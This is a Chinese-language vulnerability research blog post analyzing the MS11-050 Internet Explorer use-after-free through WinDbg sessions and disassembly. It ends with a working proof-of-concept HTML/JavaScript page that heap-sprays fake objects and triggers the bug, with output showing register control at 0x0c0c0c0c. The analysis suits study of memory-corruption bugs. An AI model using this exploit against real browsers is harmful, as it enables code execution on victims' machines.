MS11-050 IE内存破坏尝试漏洞分析笔记(二)

前面分析过程遇到了一些问题,比如在最后中断在异常处发现对象大小和前面分配不符,后来在win7 32位下调试没有出现这种问题,下面是

win7 32位下的调试过程:

同样下断
0:013> x mshtml!CObjectElement::`vftable'
694e3dd8 mshtml!CObjectElement::`vftable' = <no type information>
0:013> bp mshtml!CTreeNode::CTreeNode ".printf " CTreeNode:node[%08x] Type:",ecx;dds edi l1;.if(poi(edi)!=694e3dd8 ) {gc;}"
0:013> g
...
8次中断:
0:005> g
CTreeNode:node[004f0358] Type:005187b0  693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810  693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004eff38] Type:0051f590  694e3dd8 mshtml!CObjectElement::`vftable'
eax=004eff38 ebx=0249cab0 ecx=004eff38 edx=00000000 esi=004e2b40 edi=0051f590
eip=695b47b9 esp=0249c93c ebp=0249ca9c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTreeNode::CTreeNode:
695b47b9 8bff            mov     edi,edi
0:005> !heap -x 004eff38
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004eff30  004eff38  00450000  004f07f8        58      -            c  LFH;busy 
此时ecx是CTreeNode对象,
0:005> ba w 4 004eff38
0:005> g
Breakpoint 1 hit
eax=ffffffff ebx=0249cab0 ecx=004eff38 edx=00000000 esi=00000008 edi=0051f590
eip=695b47f4 esp=0249c934 ebp=0249c938 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
mshtml!CTreeNode::CTreeNode+0x3b:
695b47f4 85ff            test    edi,edi
查看前一条指令:
0:005> ub eip l1
mshtml!CTreeNode::CTreeNode+0x39:
695b47f2 8939            mov     dword ptr [ecx],edi
这里是初始化CTreeNode
0:005> ln poi(edi)
(694e3dd8)   mshtml!CObjectElement::`vftable'   |  (695aa4ac)   mshtml!CDummyUnknown::`vftable'
Exact matches:
    mshtml!CObjectElement::`vftable' = <no type information>
0:005> dd 694e3dd8
694e3dd8  694ef6af 695ab7c9 695aa699 694eff7d
694e3de8  6951e101 694efc6c 695a7b0d 69644eb3
694e3df8  69709560 69519f31 695f5036 697a8531
694e3e08  69730297 694efb53 694efa0c 69647fe5
694e3e18  69761f7a 69629022 6940d582 69629022
694e3e28  697a8580 697622c2 697622c2 6983617f
694e3e38  69836131 698354b7 69835537 695b1e75
694e3e48  695ab65d 695cbabb 69712683 694db33e
继续g
0:005> g
CTreeNode:node[004f0358] Type:005187b0  693f7eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[004f0408] Type:004e1810  693f71b0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[004efe30] Type:004e1660  69522010 mshtml!CRootElement::`vftable'
CTreeNode:node[004f01a0] Type:004e1930  69531598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[004f0098] Type:004e1a20  69531868 mshtml!CHeadElement::`vftable'
CTreeNode:node[004f01f8] Type:004f8888  69531ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[004eff90] Type:004f88c0  69530c30 mshtml!CBodyElement::`vftable'
Breakpoint 1 hit
eax=0091012b ebx=00000011 ecx=00000092 edx=00000091 esi=004f07f8 edi=004eff30
eip=773d2d75 esp=0249d250 ebp=0249d284 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06
ntdll!RtlpLowFragHeapFree+0xa6:
773d2d75 2b7df4          sub     edi,dword ptr [ebp-0Ch] ss:0023:0249d278=004ef7e8
此时查看CTreeNode对象,发现该对象已经被释放
0:005> !heap -x 004eff38
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
004eff30  004eff38  00450000  004f07f8        58      -            0  LFH;free 
查看栈回溯信息:
0:005> kb
ChildEBP RetAddr  Args to Child             
0249d284 773d2ce8 004eff38 0051f590 00000000 ntdll!RtlpLowFragHeapFree+0xa6
0249d29c 7725bbe4 00450000 00000000 004eff38 ntdll!RtlFreeHeap+0x105
0249d2b0 6960fbf2 00450000 00000000 004eff38 kernel32!HeapFree+0x14
0249d2c0 69506555 00000720 695092a8 004beb70 mshtml!CTreeNode::Release+0x2d
0249d2c8 695092a8 004beb70 00000000 00000018 mshtml!CTreeNode::PrivateExitTree+0x17
0249d418 69506e34 0249d53c 0249d48c 00000000 mshtml!CSpliceTreeEngine::RemoveSplice+0x812
0249d4f8 69506c90 0249d530 0249d53c 00000000 mshtml!CMarkup::SpliceTreeInternal+0x83
0249d548 69507434 0249d6f0 0249d72c 00000001 mshtml!CDoc::CutCopyMove+0xca
0249d564 69507412 0249d6f0 0249d72c 00000000 mshtml!CDoc::Remove+0x18
0249d57c 69509c8e 0249d72c 0051ce18 695aa410 mshtml!RemoveWithBreakOnEmpty+0x3a
0249d678 69509add 0249d6f0 0249d72c 0249d6a0 mshtml!InjectHtmlStream+0x191
0249d6b4 6950735c 0249d6f0 0249d72c 0000000e mshtml!HandleHTMLInjection+0x5c
0249d76c 698353db 00000001 00000001 0051ce18 mshtml!CElement::InjectInternal+0x307
0249d84c 695c93c2 0051f590 00000000 004ddd58 mshtml!CObjectElement::DeferredFallback+0x2f0
0249d880 695be012 0249d91c 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff
0249d8a0 75dcc4e7 00120266 00000008 00000000 mshtml!GlobalWndProc+0x10c
0249d8cc 75dcc5e7 695a6853 00120266 00008002 USER32!InternalCallWinProc+0x23
0249d944 75dccc19 00000000 695a6853 00120266 USER32!UserCallWinProcCheckWow+0x14b
0249d9a4 75dccc70 695a6853 00000000 0249fac4 USER32!DispatchMessageWorker+0x35e
0249d9b4 6d904bec 0249d9dc 00000000 001227d8 USER32!DispatchMessageW+0xf
0249fac4 6d914f62 004918b8 00000000 00473cd0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b
0249fb7c 75965c2b 001227d8 00000000 0249fb98 IEFRAME!LCIETab_ThreadProc+0x2c1
0249fb8c 77263c45 00473cd0 0249fbd8 773e37f5 iertutil!CIsoScope::RegisterThread+0xab
0249fb98 773e37f5 00473cd0 7588b972 00000000 kernel32!BaseThreadInitThunk+0xe
0249fbd8 773e37c8 75965c1d 00473cd0 00000000 ntdll!__RtlUserThreadStart+0x70
0249fbf0 00000000 75965c1d 00473cd0 00000000 ntdll!_RtlUserThreadStart+0x1b
注意这个函数,根据函数名就可以猜到该对象释放的原因-->“Empty”
看看对象分配的大小:
text:635A8213 loc_635A8213:                           ; CODE XREF: CHtmRootParseCtx::BeginElement(CTreeNode * *,CElement *,CTreeNode *,int)+205Aj
.text:635A8213                 push    ebx
.text:635A8214                 push    edi
.text:635A8215                 push    4Ch             ; dwBytes
.text:635A8217                 push    8               ; dwFlags
.text:635A8219                 push    _g_hProcessHeap ; hHeap
.text:635A821F                 call    ds:__imp__HeapAlloc@12 ; 分配了一个对象
.text:635A8225                 xor     ebx, ebx
.text:635A8227                 cmp     eax, ebx
.text:635A8229                 jz      short loc_635A823B
.text:635A822B                 mov     edi, [ebp+arg_4]
.text:635A822E                 push    ebx
.text:635A822F                 push    [ebp+arg_8]
.text:635A8232                 mov     ecx, eax        ; ecx-->对象指针
.text:635A8234                 call    ??0CTreeNode@@QAE@PAV0@PAVCElement@@H@Z ; CTreeNode::CTreeNode(CTreeNode *,CElement *,int)
由于堆分配是8字节对齐,因此这里应该分配0x50(80)字节的堆空间,加上8个字节的头部数据刚好是0x58
分析就到这里吧,本来打算找到漏洞的具体成因,某君相劝漏洞的艺术在于利用而不在于成因,虽然不乏一点道理,但鉴于自己水平实在有限,漏洞分析到这里就over
=============================分割线==============================
漏洞利用:
既然是use after free,那么我们就需要在再次引用free掉的内存的时候给这段内存写入污染数据:
借助heaplib分配内存,我们来尝试控制eip指针:
先看看出问题的CObjectElement的大小:
.text:63766632 ; public: static long __stdcall CObjectElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *)
.text:63766632 ?CreateElement@CObjectElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near
.text:63766632                                         ; DATA XREF: .text:6364B7D8o
.text:63766632                                         ; .text:6364BC18o
.text:63766632
.text:63766632 arg_0           = dword ptr  8
.text:63766632 arg_4           = dword ptr  0Ch
.text:63766632 arg_8           = dword ptr  10h
.text:63766632
.text:63766632                 mov     edi, edi
.text:63766634                 push    ebp
.text:63766635                 mov     ebp, esp
.text:63766637                 push    0DCh            ; dwBytes
.text:6376663C                 push    8               ; dwFlags
.text:6376663E                 push    _g_hProcessHeap ; hHeap
.text:63766644                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:6376664A                 test    eax, eax
.text:6376664C                 jz      short loc_63766679
.text:6376664E                 mov     ecx, [ebp+arg_0]
.text:63766651                 movzx   ecx, byte ptr [ecx+1]
.text:63766655                 push    esi
.text:63766656                 push    [ebp+arg_4]
.text:63766659                 mov     esi, eax
.text:6376665B                 push    ecx
.text:6376665C                 call    ??0CObjectElement@@QAE@W4ELEMENT_TAG@@PAVCDoc@@@Z ; CObjectElement::CObjectElement(ELEMENT_TAG,CDoc *)

可以看到CObjectElement的大小为0xDC字节,那么我们就需要分配一个0xE0字节大小的伪造对象。利用HeapLib.js

<html>
<body>
<script language='javascript' src='heaplib.js'>
</script>
<script language='javascript' >
heap_obj=new heapLib.ie(0x20000);
var control_eip=unescape("u0c0cu0c0c");
while(control_eip.length<0xe0)
{
    control_eip+=unescape("u0c0cu0c0c");
}
control_eip=control_eip.slice(0,(0xe0-6)/2);
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
for(var num=0;num<3000;num++)
{
    heap_obj.alloc(control_eip,"aaaa");
    heap_obj.alloc(control_eip,"aaaa");
}

document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "BBBBBB";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";

</script>
</body>
</html>

挂载调试器,看到eax寄存器已经被控制到0x0c0c0c0c

0:013> g
ModLoad: 6cf50000 6d002000   C:WindowsSystem32jscript.dll
(7c4.344): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=002ba9d8 ecx=0329018e edx=00000000 esi=0248c088 edi=00000000
eip=6bdbb68f esp=0248c05c ebp=0248c074 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6bdbb68f 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

其他的就很容易了,可以通过HeapSpary+ROP就可以完成漏洞利用了。

原文地址:https://www.cnblogs.com/Lamboy/p/3361514.html